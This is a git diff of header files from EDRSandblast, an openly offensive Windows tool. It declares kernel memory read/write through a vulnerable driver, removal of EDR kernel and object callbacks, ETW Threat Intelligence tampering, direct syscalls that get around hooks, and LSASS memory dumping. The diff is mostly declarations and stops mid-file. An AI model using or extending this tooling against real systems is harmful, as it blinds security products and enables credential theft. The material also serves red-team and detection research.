RTCORE64_MEMORY_WRITE { - BYTE Pad0[8]; - DWORD64 Address; - BYTE Pad1[8]; - DWORD ReadSize; - DWORD Value; - BYTE Pad3[16]; -}; +BYTE ReadMemoryBYTE(DWORD64 Address); +WORD ReadMemoryWORD(DWORD64 Address); +DWORD ReadMemoryDWORD(DWORD64 Address); +DWORD64 ReadMemoryDWORD64(DWORD64 Address); -static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030; -static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048; -static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c; +BYTE ReadKernelMemoryBYTE(DWORD64 Offset); +WORD ReadKernelMemoryWORD(DWORD64 Offset); +DWORD ReadKernelMemoryDWORD(DWORD64 Offset); +DWORD64 ReadKernelMemoryDWORD64(DWORD64 Offset); -BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address); +VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size); -WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address); +void WriteMemoryBYTE(DWORD64 Address, BYTE Value); +void WriteMemoryWORD(DWORD64 Address, WORD Value); +void WriteMemoryDWORD(DWORD64 Address, DWORD Value); +void WriteMemoryDWORD64(DWORD64 Address, DWORD64 Value); -DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address); +void WriteKernelMemoryBYTE(DWORD64 Offset, BYTE Value); +void WriteKernelMemoryWORD(DWORD64 Offset, WORD Value); +void WriteKernelMemoryDWORD(DWORD64 Offset, DWORD Value); +void WriteKernelMemoryDWORD64(DWORD64 Offset, DWORD64 Value); -DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address); +VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size); -void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value); +VOID CloseDriverHandle(); -void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value); - -void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value); - -/* - ---- Kernel exploitation helpers. ---- Largely inspired from https://github.com/br-sn/CheekyBlinder ---- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp - -*/ - -DWORD64 FindNtoskrnlBaseAddress(void); - -TCHAR* FindDriver(DWORD64 address, BOOL verbose); - -HANDLE GetDriverHandle(); - -DWORD64 GetFunctionAddress(LPCSTR function); \ No newline at end of file +BOOL TestReadPrimitive(); diff --git a/EDRSandblast/Includes/KernelUtils.h b/EDRSandblast/Includes/KernelUtils.h new file mode 100644 index 0000000..0c50a80 --- /dev/null +++ b/EDRSandblast/Includes/KernelUtils.h @@ -0,0 +1,7 @@ +#pragma once +#include + +DWORD64 FindNtoskrnlBaseAddress(void); +TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset); +TCHAR* FindDriverPath(DWORD64 address); +DWORD64 GetKernelFunctionAddress(LPCSTR function); diff --git a/EDRSandblast/Includes/LSASSDump.h b/EDRSandblast/Includes/LSASSDump.h deleted file mode 100644 index a86019e..0000000 --- a/EDRSandblast/Includes/LSASSDump.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - ---- LSASS dump functions. - -*/ - -#pragma once - -#include - - -DWORD WINAPI dumpLSASSProcess(void* data); \ No newline at end of file diff --git a/EDRSandblast/Includes/ListUtils.h b/EDRSandblast/Includes/ListUtils.h new file mode 100644 index 0000000..3a87c73 --- /dev/null +++ b/EDRSandblast/Includes/ListUtils.h @@ -0,0 +1,7 @@ +#include + +typedef struct _LINKED_LIST { + struct _LINKED_LIST* next; +} LINKED_LIST, * PLINKED_LIST; + +VOID freeLinkedList(PVOID head); \ No newline at end of file diff --git a/EDRSandblast/Includes/NtoskrnlOffsets.h b/EDRSandblast/Includes/NtoskrnlOffsets.h index d79e503..9e59983 100644 --- a/EDRSandblast/Includes/NtoskrnlOffsets.h +++ b/EDRSandblast/Includes/NtoskrnlOffsets.h @@ -11,13 +11,16 @@ enum NtoskrnlOffsetType { - CREATE_PROCESS_ROUTINE = 0, - CREATE_THREAD_ROUTINE = 1, - LOAD_IMAGE_ROUTINE = 2, - PROTECTION_LEVEL = 3, - ETW_THREAT_INT_PROV_REG_HANDLE = 4, - ETW_REG_ENTRY_GUIDENTRY = 5, - ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6, + CREATE_PROCESS_ROUTINE, + CREATE_THREAD_ROUTINE, + LOAD_IMAGE_ROUTINE, + PROTECTION_LEVEL, + ETW_THREAT_INT_PROV_REG_HANDLE, + ETW_REG_ENTRY_GUIDENTRY, + ETW_GUID_ENTRY_PROVIDERENABLEINFO, + PSPROCESSTYPE, + PSTHREADTYPE, + OBJECT_TYPE_CALLBACKLIST, _SUPPORTED_NTOSKRNL_OFFSETS_END }; @@ -30,21 +33,41 @@ union NtoskrnlOffsets { DWORD64 pspCreateThreadNotifyRoutine; // ntoskrnl's PspLoadImageNotifyRoutine DWORD64 pspLoadImageNotifyRoutine; - // ntoskrnl EPROCESS's _PS_PROTECTION - DWORD64 ps_protection; + // ntoskrnl EPROCESS's Protection field offset + DWORD64 eprocess_protection; // ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle DWORD64 etwThreatIntProvRegHandle; // ntoskrnl _ETW_REG_ENTRY's GuidEntry DWORD64 etwRegEntry_GuidEntry; // ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo DWORD64 etwGuidEntry_ProviderEnableInfo; + // ntoskrnl PsProcessType symbol offset + DWORD64 psProcessType; + // ntoskrnl PsThreadType symbol offset + DWORD64 psThreadType; + // ntoskrnl _OBJECT_TYPE's CallbackList symbol offset + DWORD64 object_type_callbacklist; } st; // array version (usefull for code factoring) DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END]; }; -union NtoskrnlOffsets ntoskrnlOffsets; +union NtoskrnlOffsets g_ntoskrnlOffsets; -// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. -union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename); \ No newline at end of file +// Stores, in a global variable, the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. +void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename); + +// Saves the offsets, stored in global variable, in the provided CSV file +void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename); + +// Print the Ntosknrl offsets. +void PrintNtoskrnlOffsets(); + +void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb); + +BOOL NtoskrnlOffsetsAreAllPresent(); +BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent(); +BOOL NtoskrnlNotifyRoutinesOffsetsArePresent(); +BOOL NtoskrnlEtwtiOffsetsArePresent(); +BOOL NtoskrnlObjectCallbackOffsetsArePresent(); \ No newline at end of file diff --git a/EDRSandblast/Includes/ObjectCallbacks.h b/EDRSandblast/Includes/ObjectCallbacks.h new file mode 100644 index 0000000..43e01d7 --- /dev/null +++ b/EDRSandblast/Includes/ObjectCallbacks.h @@ -0,0 +1,30 @@ +#pragma once +#include + +#define DECLARE_OFFSET(STRUCTNAME, OFFSETNAME) DWORD64 Offset_ ## STRUCTNAME ## _ ## OFFSETNAME +#define DECLARE_SYMBOL(SYMBOL) DWORD64 Sym_ ## SYMBOL + +// Offset used in experimental functions (EnumAllObjectsCallbacks, EnableDisableProcessAndThreadObjectsCallbacksSupport) +DECLARE_OFFSET(_OBJECT_TYPE, Name); +DECLARE_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects); +DECLARE_OFFSET(_OBJECT_TYPE, TypeInfo); +DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags); +DECLARE_SYMBOL(ObpObjectTypes); +DECLARE_SYMBOL(ObpTypeObjectType); + + +//callback support strategy +void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable); +BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled(); + +//undoc struct strategy +void EnumAllObjectsCallbacks(); +BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks); +void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks); +void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks); +void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable); + +//full black box strategy +SIZE_T CountProcessAndThreadObjectsCallbacks(); +void RemoveAllProcessAndThreadObjectsCallbacks(); +void RestoreAllProcessAndThreadObjectsCallbacks(); \ No newline at end of file diff --git a/EDRSandblast/Includes/PEParser.h b/EDRSandblast/Includes/PEParser.h index 8b1a822..4c3dee3 100644 --- a/EDRSandblast/Includes/PEParser.h +++ b/EDRSandblast/Includes/PEParser.h @@ -1,9 +1,10 @@ #pragma once +#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int + #include typedef unsigned __int64 QWORD; - typedef struct _IMAGE_RELOCATION_ENTRY { WORD Offset : 12; WORD Type : 4; @@ -14,6 +15,13 @@ typedef struct PE_relocation_t { WORD Type : 4; } PE_relocation; +typedef struct PE_codeview_debug_info_t { + DWORD signature; + GUID guid; + DWORD age; + CHAR pdbName[1]; +} PE_codeview_debug_info; + typedef struct PE_pointers { BOOL isMemoryMapped; BOOL isInAnotherAddressSpace; @@ -34,6 +42,9 @@ typedef struct PE_pointers { //relocations info DWORD nbRelocations; PE_relocation* relocations; + //debug info + IMAGE_DEBUG_DIRECTORY* debugDirectory; + PE_codeview_debug_info* codeviewDebugInfo; } PE; PE* PE_create(PVOID imageBase, BOOL isMemoryMapped); @@ -47,4 +58,5 @@ PVOID PE_functionAddr(PE* pe, LPCSTR functionName); VOID PE_parseRelocations(PE* pe); VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress); PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize); -PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize); \ No newline at end of file +PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize); +VOID PE_destroy(PE* pe); \ No newline at end of file diff --git a/EDRSandblast/Includes/PdbSymbols.h b/EDRSandblast/Includes/PdbSymbols.h new file mode 100644 index 0000000..cfbfb50 --- /dev/null +++ b/EDRSandblast/Includes/PdbSymbols.h @@ -0,0 +1,12 @@ +#pragma once + +typedef struct symbol_ctx_t { + LPWSTR pdb_name_w; + DWORD64 pdb_base_addr; + HANDLE sym_handle; +} symbol_ctx; + +symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path); +DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name); +DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name); +void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb); \ No newline at end of file diff --git a/EDRSandblast/Includes/ProcessDump.h b/EDRSandblast/Includes/ProcessDump.h new file mode 100644 index 0000000..fc9c216 --- /dev/null +++ b/EDRSandblast/Includes/ProcessDump.h @@ -0,0 +1,16 @@ +/* + +--- LSASS dump functions. + +*/ + +#pragma once + +#include + +//typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam); +typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PVOID ExceptionParam, PVOID UserStreamParam, PVOID CallbackParam); + + +DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile); +DWORD WINAPI dumpProcessFromThread(PVOID* args); \ No newline at end of file diff --git a/EDRSandblast/Includes/ProcessDumpDirectSyscalls.h b/EDRSandblast/Includes/ProcessDumpDirectSyscalls.h new file mode 100644 index 0000000..dcce553 --- /dev/null +++ b/EDRSandblast/Includes/ProcessDumpDirectSyscalls.h @@ -0,0 +1,29 @@ +#pragma once +#include +#include + +enum ProcessorArchitecture { + AMD64 = 9, + INTEL = 0, +}; + +#if _WIN64 +#define PROCESSOR_ARCHITECTURE AMD64 +#define SIZE_OF_SYSTEM_INFO_STREAM 48 +#else +#define PROCESSOR_ARCHITECTURE INTEL +#define SIZE_OF_SYSTEM_INFO_STREAM 56 +#endif + +typedef struct _DUMP_CONTEXT { + HANDLE hProcess; + PVOID BaseAddress; + ULONG32 RVA; + SIZE_T DumpMaxSize; + ULONG32 Signature; + USHORT Version; + USHORT ImplementationVersion; +} DUMP_CONTEXT, * PDUMP_CONTEXT; + +DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath); +DWORD SandMiniDumpWriteDumpFromThread(PVOID* args); diff --git a/EDRSandblast/Includes/RemotePEBBrowser.h b/EDRSandblast/Includes/RemotePEBBrowser.h new file mode 100644 index 0000000..7d8f664 --- /dev/null +++ b/EDRSandblast/Includes/RemotePEBBrowser.h @@ -0,0 +1,34 @@ +#include +#include + +#include "../EDRSandblast.h" +#include "Undoc.h" + +typedef struct _MODULE_INFO { + struct _MODULE_INFO* next; + ULONG64 dllBase; + ULONG32 ImageSize; + WCHAR dllName[256]; + ULONG32 nameRVA; + ULONG32 timeDateStamp; + ULONG32 checkSum; +} MODULE_INFO, * PMODULE_INFO; + +typedef struct _MEMORY_PAGE_INFO { + struct _MEMORY_PAGE_INFO* next; + ULONG64 startOfMemoryPage; + ULONG64 dataSize; + DWORD state; + DWORD protect; + DWORD type; +} MEMORY_PAGE_INFO, * PMEMORY_PAGE_INFO; + +PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA); + +// Return a pointer to the target process PEB Ldr (as a pseudo LDR_DATA_TABLE_ENTRY). +PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess); + +// Return a module info list of loaded moduler in InMemoryOrder. +PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess); + +PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage); \ No newline at end of file diff --git a/EDRSandblast/Includes/RunAsPPL.h b/EDRSandblast/Includes/RunAsPPL.h index a530a15..1a4fee9 100644 --- a/EDRSandblast/Includes/RunAsPPL.h +++ b/EDRSandblast/Includes/RunAsPPL.h @@ -10,15 +10,9 @@ #include - //extern union NtoskrnlOffsets ntoskrnlOffsets; -#ifndef NT_SUCCESS -#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) -#endif -#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 -#define PROTECTED_PROCESS_MASK 0x00000800 /* * Defines the NtQuerySystemInformation function. @@ -80,4 +74,4 @@ typedef enum _PS_PROTECTED_SIGNER { DWORD64 GetSelfEPROCESSAddress(BOOL verbose); -int SetCurrentProcessAsProtected(BOOL verbose); \ No newline at end of file +int SetCurrentProcessAsProtected(BOOL verbose); diff --git a/EDRSandblast/Includes/SW2_Syscalls.h b/EDRSandblast/Includes/SW2_Syscalls.h new file mode 100644 index 0000000..047515e --- /dev/null +++ b/EDRSandblast/Includes/SW2_Syscalls.h @@ -0,0 +1,121 @@ +#pragma once + +// Code below is adapted from @modexpblog. Read linked article for more details. +// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams + +#ifndef SW2_HEADER_H_ +#define SW2_HEADER_H_ + +#include + +#include "Undoc.h" + +#define SW2_SEED 0xE14B0D06 +#define SW2_ROL8(v) (v << 8 | v >> 24) +#define SW2_ROR8(v) (v >> 8 | v << 24) +#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v)) +#define SW2_MAX_ENTRIES 500 +#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) + +// Typedefs are prefixed to avoid pollution. + +typedef struct _SW2_SYSCALL_ENTRY +{ + DWORD Hash; + DWORD RVA; + DWORD SyscallNumber; +} SW2_SYSCALL_ENTRY, * PSW2_SYSCALL_ENTRY; + +typedef struct _SW2_SYSCALL_LIST +{ + DWORD Count; + SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES]; +} SW2_SYSCALL_LIST, * PSW2_SYSCALL_LIST; + + +DWORD SW2_HashSyscall(PCSTR FunctionName); +BOOL SW2_PopulateSyscallList(void); +EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash); + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} +#endif + +EXTERN_C NTSTATUS NtGetNextProcess( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewProcessHandle); + +EXTERN_C NTSTATUS NtQueryInformationProcess( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT PULONG ReturnLength OPTIONAL); + +EXTERN_C NTSTATUS NtClose( + IN HANDLE Handle); + +EXTERN_C NTSTATUS NtAllocateVirtualMemory( + IN HANDLE ProcessHandle, + IN OUT PVOID* BaseAddress, + IN ULONG ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect); + +EXTERN_C NTSTATUS NtOpenProcess( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL); + +EXTERN_C NTSTATUS NtQueryVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT PSIZE_T ReturnLength OPTIONAL); + +EXTERN_C NTSTATUS NtReadVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress OPTIONAL, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT PSIZE_T NumberOfBytesRead OPTIONAL); + +EXTERN_C NTSTATUS NtCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize OPTIONAL, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer OPTIONAL, + IN ULONG EaLength); + +EXTERN_C NTSTATUS NtWriteFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL); + +#endif \ No newline at end of file diff --git a/EDRSandblast/Includes/SignatureOps.h b/EDRSandblast/Includes/SignatureOps.h new file mode 100644 index 0000000..22cfffc --- /dev/null +++ b/EDRSandblast/Includes/SignatureOps.h @@ -0,0 +1,29 @@ +#pragma once + +#include +#include "winerror.h" +#include +#include +#include +#include + +#pragma comment(lib, "crypt32.lib") + +typedef +enum _SignatureOpsError { + E_FILE_NOT_FOUND = -2, + E_KO = -1, + E_SUCCESS = 0, + E_INSUFFICIENT_BUFFER = 1, + E_NOT_SIGNED = 2 +} SignatureOpsError; +//typedef enum _signatureOpsError signatureOpsError; + +/* +* Retrieves a string containing the Signers of the specificied file concatenated. +* Parameters: +* [in] pFilePath: path the file. +* [out] outSigners: out string that will contain the concatenated Signers. If outSigners is NULL, szOutSigners will contain the number of TCHAR required for the output string (termination included). +* [in,out] szOutSigners: length of outSigners. If szOutSigners is too small, szOutSigners will contain the number of TCHAR required for the output string (termination included). +*/ +SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners); \ No newline at end of file diff --git a/EDRSandblast/Includes/StringUtils.h b/EDRSandblast/Includes/StringUtils.h new file mode 100644 index 0000000..4ac9d4a --- /dev/null +++ b/EDRSandblast/Includes/StringUtils.h @@ -0,0 +1,12 @@ +#pragma once + +#include +#include + +#include "Undoc.h" +#include "time.h" + +VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* tcharString); + +TCHAR* generateRandomString(TCHAR* str, size_t size); +TCHAR* allocAndGenerateRandomString(size_t length); \ No newline at end of file diff --git a/EDRSandblast/Includes/SyscallProcessUtils.h b/EDRSandblast/Includes/SyscallProcessUtils.h new file mode 100644 index 0000000..410e602 --- /dev/null +++ b/EDRSandblast/Includes/SyscallProcessUtils.h @@ -0,0 +1,16 @@ +#pragma once +#include +#include + +#include "../EDRSandblast.h" +#include "SW2_Syscalls.h" + +#define ProcessImageFileName 27 + +DWORD SandGetProcessPID(HANDLE hProcess); + +PUNICODE_STRING SandGetProcessImage(HANDLE hProcess); + +DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize); + +DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid); \ No newline at end of file diff --git a/EDRSandblast/Includes/Syscalls.h b/EDRSandblast/Includes/Syscalls.h new file mode 100644 index 0000000..36dffa3 --- /dev/null +++ b/EDRSandblast/Includes/Syscalls.h @@ -0,0 +1,4 @@ +#pragma once +#include + +PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName); \ No newline at end of file diff --git a/EDRSandblast/Includes/Undoc.h b/EDRSandblast/Includes/Undoc.h index 71fcafc..3f6eb2e 100644 --- a/EDRSandblast/Includes/Undoc.h +++ b/EDRSandblast/Includes/Undoc.h @@ -148,6 +148,7 @@ #ifdef _MSC_VER //when compiling as C #pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int +#pragma warning (disable:4201) //Warning Level 4: C4201: nonstandard extension used: nameless struct/union //"#pragma pack(1)" not needed as Microsoft has designed all structure members to be on natural boundaries @@ -276,9 +277,15 @@ struct RTL_CRITICAL_SECTION typedef struct _CLIENT_ID { - DWORD ProcessId; - DWORD ThreadId; -} CLIENT_ID; + HANDLE ProcessId; + HANDLE ThreadId; +} CLIENT_ID, * PCLIENT_ID; + +//typedef struct _CLIENT_ID +//{ +// HANDLE UniqueProcess; +// HANDLE UniqueThread; +//} CLIENT_ID, * PCLIENT_ID; /* typedef struct _PROCESSOR_NUMBER @@ -293,16 +300,15 @@ typedef struct _STRING { WORD Length; WORD MaximumLength; - CHAR* Buffer; + CHAR* Buffer; } STRING; typedef struct _UNICODE_STRING { WORD Length; WORD MaximumLength; - WCHAR* Buffer; -} UNICODE_STRING; - + WCHAR* Buffer; +} UNICODE_STRING, * PUNICODE_STRING; // // Exception-specific structures and definitions @@ -469,7 +475,7 @@ typedef struct _PEB_LDR_DATA LIST_ENTRY InMemoryOrderModuleList; //0x14 LIST_ENTRY InInitializationOrderModuleList; //0x1C void* EntryInProgress; //0x24 -} PEB_LDR_DATA; +} PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct PEB_FREE_BLOCK PEB_FREE_BLOCK; struct PEB_FREE_BLOCK @@ -509,7 +515,7 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS UNICODE_STRING ShellInfo; //0x80 UNICODE_STRING RuntimeData; //0x88 RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; //0x90 -} RTL_USER_PROCESS_PARAMETERS; +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; // // PEB (Process Environment Block) 32-bit @@ -728,7 +734,7 @@ typedef struct _PEB } dword254; void* WaitOnAddressHashTable[128]; //0x025C -} PEB; +} PEB, * PPEB; // @@ -1152,4 +1158,104 @@ typedef struct _LDR_DATA_TABLE_ENTRY LIST_ENTRY StaticLinks; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OVERWRITE_IF 0x00000005 + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + VOID* Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation = 0, + ProcessDebugPort = 7, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessBreakOnTermination = 29 +} PROCESSINFOCLASS, * PPROCESSINFOCLASS; + +typedef VOID(NTAPI* PIO_APC_ROUTINE) ( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved); + +typedef LONG KPRIORITY; +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef enum _MEMORY_INFORMATION_CLASS { + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation, + MemorySharedCommitInformation, + MemoryImageInformation, + MemoryRegionInformationEx, + MemoryPrivilegedBasicInformation, + MemoryEnclaveImageInformation, + MemoryBasicInformationCapped +} MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS; + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#endif + +#define STATUS_SUCCES 0x00000000 +#define STATUS_UNSUCCESSFUL 0xC0000001 +#define STATUS_PARTIAL_COPY 0x8000000D +#define STATUS_ACCESS_DENIED 0xC0000022 +#define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A +#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034 +#define STATUS_OBJECT_NAME_INVALID 0xc0000033 +#define STATUS_SHARING_VIOLATION 0xC0000043 +#define STATUS_NO_MORE_ENTRIES 0x8000001A +#define STATUS_INVALID_CID 0xC000000B +#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 +#define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B +#define STATUS_BUFFER_TOO_SMALL 0xC0000023 +#define STATUS_OBJECT_NAME_COLLISION 0xC0000035 +#define STATUS_ALERTED 0x00000101 + #include "undoc_64.h" diff --git a/EDRSandblast/Includes/Undoc_64.h b/EDRSandblast/Includes/Undoc_64.h index 12f151c..b4dadce 100644 --- a/EDRSandblast/Includes/Undoc_64.h +++ b/EDRSandblast/Includes/Undoc_64.h @@ -95,8 +95,8 @@ typedef struct UNICODE_STRING64 } u; QWORD dummyalign; } uOrDummyAlign; - QWORD Buffer; -} UNICODE_STRING64; + WCHAR* Buffer; +} UNICODE_STRING64, * PUNICODE_STRING64; typedef struct _CLIENT_ID64 { @@ -104,7 +104,6 @@ typedef struct _CLIENT_ID64 QWORD ThreadId; } CLIENT_ID64; - //NOTE: the members of this structure are not yet complete typedef struct _RTL_USER_PROCESS_PARAMETERS64 { @@ -215,7 +214,7 @@ typedef struct PEB64 QWORD SystemAssemblyStorageMap; //0x0310 QWORD MinimumStackCommit; //0x0318 -} PEB64; //struct PEB64 +} PEB64, * PPEB64; //struct PEB64 // // TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8 diff --git a/EDRSandblast/Includes/UserlandHooks.h b/EDRSandblast/Includes/UserlandHooks.h index 22f73f8..ab1a322 100644 --- a/EDRSandblast/Includes/UserlandHooks.h +++ b/EDRSandblast/Includes/UserlandHooks.h @@ 